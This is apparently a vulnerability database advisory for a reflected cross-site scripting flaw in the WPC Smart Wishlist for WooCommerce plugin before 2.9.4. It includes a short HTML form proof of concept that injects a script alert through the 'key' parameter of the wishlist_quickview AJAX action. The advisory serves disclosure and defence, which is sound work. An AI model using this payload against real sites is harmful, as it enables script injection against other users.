WordPress Plugin Vulnerabilities
WPC Smart Wishlist for WooCommerce < 2.9.4 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the key parameter before outputting it back in the wishlist_quickview AJAX action's response (available to any authenticated user), leading to a Reflected Cross-Site Scripting
Proof of Concept
<html> <form action="https://example.com/wp-admin/admin-ajax.php?action=wishlist_quickview" method="POST"> <input type="text" name="key" value='<script>alert(/XSS/);</script>'> <input type="submit" value="Send"> </form> </html> The source and destination should use the https:// protocol for the exploit to work on Chrome.
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-01 (about 2 years ago)
Added
2022-03-01 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)